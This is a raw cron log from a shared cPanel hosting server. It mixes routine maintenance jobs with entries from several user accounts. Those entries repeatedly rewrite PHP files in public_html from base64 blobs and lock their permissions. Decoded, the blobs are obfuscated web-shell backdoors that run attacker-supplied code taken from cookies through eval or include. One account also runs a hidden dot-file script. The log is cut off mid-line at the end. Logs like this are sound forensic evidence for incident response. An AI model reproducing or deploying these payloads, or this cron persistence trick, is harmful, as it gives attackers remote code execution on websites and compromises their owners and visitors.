Mar  2 10:28:02 medusa CROND[24758]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:28:02 medusa CROND[24759]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:28:02 medusa CROND[24760]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:28:02 medusa CROND[24761]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:28:02 medusa CROND[24762]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:28:02 medusa CROND[24763]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 10:28:02 medusa CROND[24766]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:28:02 medusa CROND[24770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:29:01 medusa CROND[10676]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:29:01 medusa CROND[10784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:29:01 medusa CROND[10786]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:29:01 medusa CROND[10785]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 10:29:01 medusa CROND[10787]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:29:01 medusa CROND[10788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:29:01 medusa CROND[10793]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:29:01 medusa CROND[10794]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:29:01 medusa CROND[10795]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:29:01 medusa CROND[10798]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:29:01 medusa CROND[10799]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:29:01 medusa CROND[10800]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:29:01 medusa CROND[10789]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 10:30:01 medusa CROND[28224]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:30:01 medusa CROND[28252]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 10:30:01 medusa CROND[28356]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 10:30:01 medusa CROND[28487]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 10:30:02 medusa CROND[28629]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 10:30:02 medusa CROND[28632]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 10:30:02 medusa CROND[28633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:30:02 medusa CROND[28637]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:30:02 medusa CROND[28642]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:30:02 medusa CROND[28641]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 10:30:02 medusa CROND[28635]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 10:30:02 medusa CROND[28648]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:30:02 medusa CROND[28647]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 10:30:02 medusa CROND[28649]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 10:30:02 medusa CROND[28650]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 10:30:02 medusa CROND[28658]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 10:30:02 medusa CROND[28644]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 10:30:02 medusa CROND[28663]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 10:30:02 medusa CROND[28665]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 10:30:02 medusa CROND[28675]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnb